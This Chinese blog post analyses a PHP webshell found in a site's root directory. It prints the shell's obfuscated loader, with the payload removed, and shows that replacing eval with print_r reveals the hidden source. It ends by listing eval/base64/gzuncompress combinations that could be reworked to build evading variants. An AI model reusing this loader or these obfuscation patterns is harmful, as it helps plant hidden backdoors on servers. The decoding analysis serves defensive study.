由一枚php大马(过狗)引发的研究思路

由一枚php大马(过狗)引发的研究思路

 

      今天t00ls有位朋友说他的网站根目录出现了疑似木马,就分享了出来,让大家参看参看,咋一看,这枚大马很面熟,其实真的是有点面熟哦,然后就小思考了一下:

由一枚php大马(过狗)引发的研究思路_第1张图片

 直接访问脚本的话是可以的哦。

由一枚php大马(过狗)引发的研究思路_第2张图片

 

      但是脚本原本的密码是没有解密出来的,我本地调试的时候修改了密码,访问结果如下:

由一枚php大马(过狗)引发的研究思路_第3张图片

      我去除中间的密文,那么就是下面的一段代码了:

 

?php
       if($_GET['baidu']!="Google"){exit;}
       error_reporting(E_ERROR);
       ini_set('display_errors','Off');
       ini_set('max_execution_time',20000);
       ini_set('memory_limit','256M');
       header("content-Type:text/html; charset=gb2312");
       $password= "fba966a3fe552cb6ca480d07d6888173";
       define('VERSION','tef');
       $liner="pr"."e"."g_"."re"."p"."l"."ace";
       $liner("/.*/e", "eval(gzuncompress(base64_decode('文中那段密文')));" , ".");
?>

其实代码中,核心函数就是preg_replace、eval 、gzuncompress、base64_decode。

      组合一下,威力就显示出来,当时看到这个的时候,我自己想的是如何对密文进行解密,然而一位大神直接print_r给搞定了,一直忽略了print_r 与printf的作用。

由一枚php大马(过狗)引发的研究思路_第4张图片

      今天是深深的体会到了,把eval改成print_r加密的内容就显示出来了

      如下这样使用,就是源码了:

 

 

由一枚php大马(过狗)引发的研究思路_第5张图片

 然后就有了下面的想法,这里的才是重点:

        preg_replace(str,replacement, subject) 我们是不是可以换掉?

        eval(gzuncompress(base64_decode('文中那段密文'))) 我们是不是也可以改造一下呢?比如一些方法

    {

        eval(urldecode(gzuncompress(base64_decode(

        eval(gzuncompress(base64_decode(

        eval(base64_decode(gzuncompress(base64_decode(

        echo(gzinflate(base64_decode(

    }

      由于要睡觉去了,就不研究了,有兴趣的朋友可以研究一下。

你可能感兴趣的:(技术分享)